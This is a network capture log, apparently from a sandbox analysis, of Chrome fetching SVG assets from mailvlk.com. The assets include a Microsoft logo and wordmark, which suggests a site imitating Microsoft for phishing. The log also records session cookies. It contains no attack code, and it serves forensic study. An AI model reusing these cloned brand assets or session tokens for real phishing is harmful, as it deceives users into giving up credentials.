2024-04-24 13:43:25 UTC	631	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c Data Ascii: 918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,
2024-04-24 13:43:25 UTC	1369	IN	Data Raw: 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 Data Ascii: .029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3
2024-04-24 13:43:25 UTC	289	IN	Data Raw: 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 Data Ascii: -2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height
2024-04-24 13:43:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.17	49783	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:24 UTC	1169	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:24 UTC	746	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:24 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Tue, 30 Apr 2024 18:14:50 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 70114 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eUBiuSgX9L5GeXmHdJ4tJTIbZ%2BoRx8PlskjPX04JrkA6%2FcIQIDtmxl7rNZoXlDDpFVeebI4qNhRiVuO645P6zfCSnhPmsjKeDhI5oehCZNymSZX8C6umHIRnfIWIeQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685aadf370fc6-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:24 UTC	623	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-24 13:43:24 UTC	976	IN	Data Raw: 2c 30 2c 30 2c 31 2c 32 38 2e 35 2c 31 33 2e 34 35 33 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2c 31 2e 31 30 39 2c 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 2c 30 2c 30 2d 2e 37 2d 33 2e 35 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 2d 31 2e 39 Data Ascii: ,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.9
2024-04-24 13:43:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.17	49782	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:24 UTC	1165	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:24 UTC	746	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:24 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Tue, 30 Apr 2024 18:14:50 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 70114 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bfbrIVnZIUabShkL67%2FLZWJUFFadHWJ7E0GnwVVZvCTQ%2B9trx3ZuDrEQ7QTt2QAlT0qDkHfsjZPsRraFSwfuAqEifL7MpLszkrIJJbeOeIINn5VT1UtkscMP8fd1XA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685aad9b70fc9-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:24 UTC	623	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-24 13:43:24 UTC	1369	IN	Data Raw: 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 Data Ascii: 0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.21
2024-04-24 13:43:24 UTC	1369	IN	Data Raw: 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 Data Ascii: ,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.07
2024-04-24 13:43:24 UTC	297	IN	Data Raw: 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 Data Ascii: 0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931
2024-04-24 13:43:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	49784	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:24 UTC	1195	OUT	GET /x/58461f18f36cbc9854a411ccf4ae8dbb66290c7bcafe6 HTTP/1.1 Host: mailvlk.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mailvlk.com/024407056a4bd44a76e3518653fce74f66290c7892bf7LOG024407056a4bd44a76e3518653fce74f66290c7892bf8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:25 UTC	742	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:24 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Wed, 01 May 2024 13:43:24 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=udiMfrTdTEisogIi6d%2FG0%2FIXc03yAsp%2Fr2sFhL3B5LAirjr7EXum2tqNgxSlvk5vhgvpSJcH4sKH01ai1L5WAKEpG9sLVYYFBkN%2FkY1NaXuugl2NDUijoRkijWmdiA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685aad8140fd5-LAX alt-svc: h3=":443"; ma=86400
2024-04-24 13:43:25 UTC	627	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-24 13:43:25 UTC	1244	IN	Data Raw: 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 29 20 73 63 Data Ascii: -455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) sc
2024-04-24 13:43:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.17	49787	104.21.50.148	443	6776	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 13:43:25 UTC	568	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: mailvlk.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=ogRQcL5HDsanB0cMvgikkzpkcDxJCT9lPmgrHktvP88-1713966186-1.0.1.1-68HMcvgP3WpF8B9DwzKfi36AkCclYUDJHiLKvHVt_KOH346wtfyPHAxyADc1XHFWpxuUgIR8NZOubSJA35rcDA; PHPSESSID=431c9121354a61f8d08e0d9b71dad828
2024-04-24 13:43:25 UTC	748	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 13:43:25 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Tue, 30 Apr 2024 18:14:50 GMT last-modified: Tue, 23 Apr 2024 16:46:58 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 70115 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mjE4GedLydRmxTc6pTTOTWTWT5FKwMW68dF6pQS9rAFNVLYitE4AOh7aATZo8b%2Fm4n4F5sbPLCLeXKRnTjevKdW8v1M8SyK1qHL%2BHi%2BYICvwx8aC7Wwey277tSytKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879685af4bb578ec-LAX alt-svc: h3=":443"; ma=86400
